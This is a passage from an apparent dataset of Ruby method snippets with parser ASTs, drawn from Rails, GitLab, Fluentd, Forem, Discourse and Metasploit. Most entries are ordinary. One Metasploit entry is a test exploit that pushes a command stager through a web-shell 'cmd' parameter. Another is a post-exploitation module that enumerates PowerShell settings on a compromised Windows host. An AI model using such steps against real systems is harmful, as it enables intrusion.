-%}\\n\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_error_modes\",{\"type\":\"sym\",\"children\":[\"lax\"]},{\"type\":\"sym\",\"children\":[\"strict\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"one\"]},{\"type\":\"lvar\",\"children\":[\"template\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_error_modes\",{\"type\":\"sym\",\"children\":[\"rigid\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"SyntaxError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"template\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected end_of_string but found\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}]}]}","id":"fdf40fde-d3d0-4433-b4b8-366110cc33db"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/background_migration/batched_migration.rb","start_line":197,"raw_source":"def retry_failed_jobs!\n          batched_jobs.with_status(:failed).each_batch(of: 100) do |batch|\n            self.class.transaction do\n              batch.lock.each(&:split_and_retry!)\n              self.execute!\n            end\n          end\n\n          self.execute!\n        end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"retry_failed_jobs!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batched_jobs\"]},\"with_status\",{\"type\":\"sym\",\"children\":[\"failed\"]}]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"int\",\"children\":[100]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"lock\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"split_and_retry!\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"execute!\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"execute!\"]}]}]}","id":"168d1a59-f83e-4128-9636-4485968b3e4d"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":1519,"raw_source":"def test_devcontainer_include_redis_skipping_solid\n    run_generator [destination_root, \"--devcontainer\", \"--name=my-app\", \"--skip-solid\"]\n\n    assert_devcontainer_json_file do |content|\n      assert_equal \"redis://redis:6379/1\", content[\"containerEnv\"][\"REDIS_URL\"]\n      assert_includes content[\"forwardPorts\"], 6379\n    end\n\n    assert_compose_file do |compose_config|\n      assert_includes compose_config[\"services\"][\"rails-app\"][\"depends_on\"], \"redis\"\n\n      expected_redis_config = {\n        \"image\" => \"valkey/valkey:8\",\n        \"restart\" => \"unless-stopped\",\n        \"volumes\" => [\"redis-data:/data\"]\n      }\n\n      assert_equal expected_redis_config, compose_config[\"services\"][\"redis\"]\n      assert_includes compose_config[\"volumes\"].keys, \"redis-data\"\n    end\n  end","complexity_score":28.95,"ast_json":"{\"type\":\"def\",\"children\":[\"test_devcontainer_include_redis_skipping_solid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"--devcontainer\"]},{\"type\":\"str\",\"children\":[\"--name=my-app\"]},{\"type\":\"str\",\"children\":[\"--skip-solid\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_devcontainer_json_file\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"redis://redis:6379/1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"[]\",{\"type\":\"str\",\"children\":[\"containerEnv\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"REDIS_URL\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"[]\",{\"type\":\"str\",\"children\":[\"forwardPorts\"]}]},{\"type\":\"int\",\"children\":[6379]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_compose_file\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"compose_config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compose_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"services\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"rails-app\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"depends_on\"]}]},{\"type\":\"str\",\"children\":[\"redis\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_redis_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"image\"]},{\"type\":\"str\",\"children\":[\"valkey/valkey:8\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"restart\"]},{\"type\":\"str\",\"children\":[\"unless-stopped\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"volumes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"redis-data:/data\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_redis_config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compose_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"services\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"redis\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compose_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"volumes\"]}]},\"keys\"]},{\"type\":\"str\",\"children\":[\"redis-data\"]}]}]}]}]}]}","id":"c9981cac-28a9-4e70-ac2f-1f19fd126cce"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/test/modules/exploits/test/cmdweb.rb","start_line":65,"raw_source":"def exploit\n    opts = {\n      :delay => 0.5,\n      :uri => \"/shell/shell.jsp?cmd=CMDS\"\n    }\n\n    execute_cmdstager(opts)\n\n    handler\n  end","complexity_score":3.25,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delay\"]},{\"type\":\"float\",\"children\":[0.5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/shell/shell.jsp?cmd=CMDS\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]}]}]}","id":"702a43d1-b5b5-4eb2-9c53-b8b46849adde"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/server_metrics.rb","start_line":98,"raw_source":"def initialize\n        @metrics = self.class.metrics\n        @metrics[:sidekiq_load_balancing_count] = ::Gitlab::Metrics.counter(:sidekiq_load_balancing_count, 'Sidekiq jobs with load balancing')\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@metrics\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"metrics\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@metrics\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"sidekiq_load_balancing_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Metrics\"]},\"counter\",{\"type\":\"sym\",\"children\":[\"sidekiq_load_balancing_count\"]},{\"type\":\"str\",\"children\":[\"Sidekiq jobs with load balancing\"]}]}]}]}]}","id":"ff90b7fb-8952-48b6-8f98-0aa0ad565feb"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/out_forward/load_balancer.rb","start_line":31,"raw_source":"def select_healthy_node\n        error = nil\n\n        # Don't care about the change of @weight_array's size while looping since\n        # it's only used for determining the number of loops and it is not so important.\n        wlen = @weight_array.size\n        wlen.times do\n          node = @mutex.synchronize do\n            r = @rr % @weight_array.size\n            @rr = (r + 1) % @weight_array.size\n            @weight_array[r]\n          end\n          next unless node.available?\n\n          begin\n            ret = yield node\n            return ret, node\n          rescue\n            # for load balancing during detecting crashed servers\n            error = $!  # use the latest error\n          end\n        end\n\n        raise error if error\n        raise NoNodesAvailable, \"no nodes are available\"\n      end","complexity_score":31.65,"ast_json":"{\"type\":\"def\",\"children\":[\"select_healthy_node\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"wlen\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@weight_array\"]},\"size\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wlen\"]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"node\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rr\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@weight_array\"]},\"size\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@rr\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@weight_array\"]},\"size\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@weight_array\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"r\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"available?\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"gvar\",\"children\":[\"$!\"]}]}]},null]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"error\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NoNodesAvailable\"]},{\"type\":\"str\",\"children\":[\"no nodes are available\"]}]}]}]}","id":"ae9c63af-1e9b-4319-9bdf-3665ab3275bf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket_server/representation/pull_request.rb","start_line":32,"raw_source":"def state\n        case raw['state']\n        when 'MERGED'\n          'merged'\n        when 'DECLINED'\n          'closed'\n        else\n          'opened'\n        end\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"state\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw\"]},\"[]\",{\"type\":\"str\",\"children\":[\"state\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"MERGED\"]},{\"type\":\"str\",\"children\":[\"merged\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"DECLINED\"]},{\"type\":\"str\",\"children\":[\"closed\"]}]},{\"type\":\"str\",\"children\":[\"opened\"]}]}]}","id":"70e09a0a-f3c3-4024-be7c-b46a41fb6334"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/duration_test.rb","start_line":499,"raw_source":"def test_scalar_multiply_parts\n    scalar = ActiveSupport::Duration::Scalar.new(1)\n    assert_equal({ days: 2 }, (scalar * 2.days).parts)\n    assert_equal(172800, (scalar * 2.days).value)\n    assert_equal({ days: -2 }, (scalar * -2.days).parts)\n    assert_equal(-172800, (scalar * -2.days).value)\n  end","complexity_score":26.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_scalar_multiply_parts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scalar\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Duration\"]},\"Scalar\"]},\"new\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"days\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scalar\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"days\"]}]}]},\"parts\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[172800]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scalar\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"days\"]}]}]},\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"days\"]},{\"type\":\"int\",\"children\":[-2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scalar\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[-2]},\"days\"]}]}]},\"parts\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[-172800]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scalar\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[-2]},\"days\"]}]}]},\"value\"]}]}]}]}","id":"5127ba26-22bf-444a-81ab-cafa3e84e857"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/counter/client.rb","start_line":55,"raw_source":"def stop\n        @conn.close\n        @log.debug(\"calling stop in counter client: #{@host}:#{@port}\")\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"stop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conn\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@log\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"calling stop in counter client: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@port\"]}]}]}]}]}]}","id":"6715ccbc-2413-4719-9751-e3a8b4e60502"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/articles/updater.rb","start_line":15,"raw_source":"def call\n      user.rate_limiter.check_limit!(:article_update)\n      success = article.update(article_params)\n\n      if success\n        user.rate_limiter.track_limit_by_action(:article_update)\n\n        remove_all_notifications if became_unpublished?\n        send_to_mentioned_users_and_followers if remains_published?\n        refresh_auto_audience_segments if became_published?\n      end\n\n      Result.new(success: success, article: article.decorate)\n    end","complexity_score":27.9,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"rate_limiter\"]},\"check_limit!\",{\"type\":\"sym\",\"children\":[\"article_update\"]}]},{\"type\":\"lvasgn\",\"children\":[\"success\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"update\",{\"type\":\"send\",\"children\":[null,\"article_params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"success\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"rate_limiter\"]},\"track_limit_by_action\",{\"type\":\"sym\",\"children\":[\"article_update\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"became_unpublished?\"]},{\"type\":\"send\",\"children\":[null,\"remove_all_notifications\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remains_published?\"]},{\"type\":\"send\",\"children\":[null,\"send_to_mentioned_users_and_followers\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"became_published?\"]},{\"type\":\"send\",\"children\":[null,\"refresh_auto_audience_segments\"]},null]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Result\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"lvar\",\"children\":[\"success\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"article\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"decorate\"]}]}]}]}]}]}","id":"36948e8d-7839-4566-8395-93586671b7ed"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/require_profiler.rb","start_line":19,"raw_source":"def profile\n      start\n      yield\n      stop\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"profile\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"start\"]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"stop\"]}]}]}","id":"e4aa0691-6b3d-49a8-97ba-ff1c590c847d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/data_service/proxy/event_data_proxy.rb","start_line":14,"raw_source":"def report_event(opts)\n    begin\n      self.data_service_operation do |data_service|\n        add_opts_workspace(opts)\n        data_service.report_event(opts)\n      end\n    rescue => e\n      self.log_error(e, \"Problem reporting event\")\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"report_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"data_service_operation\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data_service\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_opts_workspace\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_service\"]},\"report_event\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"log_error\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"str\",\"children\":[\"Problem reporting event\"]}]}]},null]}]}]}","id":"6b686c4d-4aff-4ab4-b0f7-50445c82fcfd"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/cache/file_store.rb","start_line":80,"raw_source":"def decrement(name, amount = 1, **options)\n        options = merged_options(options)\n        key = normalize_key(name, options)\n\n        instrument(:decrement, key, amount: amount) do\n          modify_value(name, -amount, options)\n        end\n      end","complexity_score":9.65,"ast_json":"{\"type\":\"def\",\"children\":[\"decrement\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"amount\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"merged_options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[null,\"normalize_key\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instrument\",{\"type\":\"sym\",\"children\":[\"decrement\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"amount\"]},{\"type\":\"lvar\",\"children\":[\"amount\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"modify_value\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"amount\"]},\"-@\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}","id":"8bf3ea34-3129-49ad-bdbf-c001f8331fcf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/show.rb","start_line":151,"raw_source":"def has_edit_fork_button?\n          click_element('action-dropdown')\n          has_element?('webide-menu-item', text: 'Edit fork in Web IDE')\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"has_edit_fork_button?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"action-dropdown\"]}]},{\"type\":\"send\",\"children\":[null,\"has_element?\",{\"type\":\"str\",\"children\":[\"webide-menu-item\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"Edit fork in Web IDE\"]}]}]}]}]}]}","id":"2e4f52f1-15b8-4c9c-a718-2aae6446be56"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/enum_powershell_env.rb","start_line":200,"raw_source":"def run\n    hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']\n    print_status(\"Running module against #{hostname} (#{session.session_host})\")\n    enum_powershell\n  end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hostname\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"hostname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Computer\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Running module against \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"session_host\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[null,\"enum_powershell\"]}]}]}","id":"521ac037-7ff1-4435-a504-87bdf32a5516"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-reactions/app/controllers/discourse_reactions/custom_reactions_controller.rb","start_line":294,"raw_source":"def publish_change_to_clients!(post, reaction: nil, previous_reaction: nil)\n    message = { post_id: post.id, reactions: [reaction, previous_reaction].compact.uniq }\n\n    opts = {}\n    secure_audience = post.topic.secure_audience_publish_messages\n    opts = secure_audience if secure_audience[:user_ids] != [] && secure_audience[:group_ids] != []\n\n    MessageBus.publish(\"/topic/#{post.topic.id}/reactions\", message, opts)\n  end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"publish_change_to_clients!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]},{\"type\":\"kwoptarg\",\"children\":[\"reaction\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"previous_reaction\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reactions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reaction\"]},{\"type\":\"lvar\",\"children\":[\"previous_reaction\"]}]},\"compact\"]},\"uniq\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"secure_audience\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]},\"secure_audience_publish_messages\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secure_audience\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_ids\"]}]},\"!=\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secure_audience\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_ids\"]}]},\"!=\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"lvar\",\"children\":[\"secure_audience\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"